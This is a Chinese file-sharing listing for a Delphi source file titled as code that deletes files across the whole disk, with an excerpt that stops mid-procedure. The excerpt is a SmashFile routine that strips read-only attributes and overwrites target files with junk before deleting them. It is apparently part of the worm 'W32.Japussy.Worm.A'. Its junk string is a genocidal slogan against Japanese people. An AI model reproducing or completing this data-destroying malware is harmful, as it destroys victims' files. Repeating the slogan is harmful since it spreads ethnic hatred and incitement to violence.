文件名称:delphi写的 删除文件的源代码
文件大小:4KB
文件格式:DPR
更新时间:2012-08-13 18:57:08
del delphi
删除全盘文件的源代码 { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); const //垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //